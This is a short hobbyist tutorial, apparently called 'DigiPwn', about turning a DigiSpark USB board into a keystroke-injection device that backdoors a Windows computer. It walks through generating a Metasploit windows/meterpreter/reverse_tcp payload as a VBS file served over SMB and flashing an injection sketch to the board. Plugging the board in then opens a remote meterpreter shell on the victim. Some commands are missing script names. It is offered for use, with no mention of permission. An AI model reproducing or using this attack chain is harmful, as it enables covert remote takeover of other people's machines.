Introduction: DigiPwn

So what are we doing here?

DigiSpark is a small Arduino based development tool which can act as an HID keyboard input. Today we manipulate this device to backdoor a Windows operating system!


Arduino IDE

A windows machine


Metasploit Framework

Python 2.7 (Note: You need python "2.7" don't go for any other version)


Brain! It helps

Step 1: Clone the DigiPwn Repository!

Clone to the GitHub repo of DigiPwn by

git clone

Now change directory to DigiPwn by

cd DigiPwn/

Step 2: Install Impacket [Modules Required by Python]

This module is required to run the SMB server which is required for payload library

sudo apt-get install python-impacket

Or you can download the impacket library and install it from here.

Step 3: Lets Generate the Payload!


python [HOST] [PORT] [PAYLOAD] [OUTPUT FILE] [format]


python 8080 windows/meterpreter/reverse_tcp win.vbs win.vbs

Now you'll be asked if to start the stager and SMB server. Press y and hit enter

Step 4: Now Upload the Code to Arduino!

Before we upload we need to make sure that DigiSpark board is installed in Arduino to do that look at here.

after that upload the keystroke_inject.ino file generated by the script. Once done you are ready to

Step 5: Time to Plug in the Baby!

Plug in your DigiSpark now and wait for 10 seconds

BOOM There's a meterpreter session opened!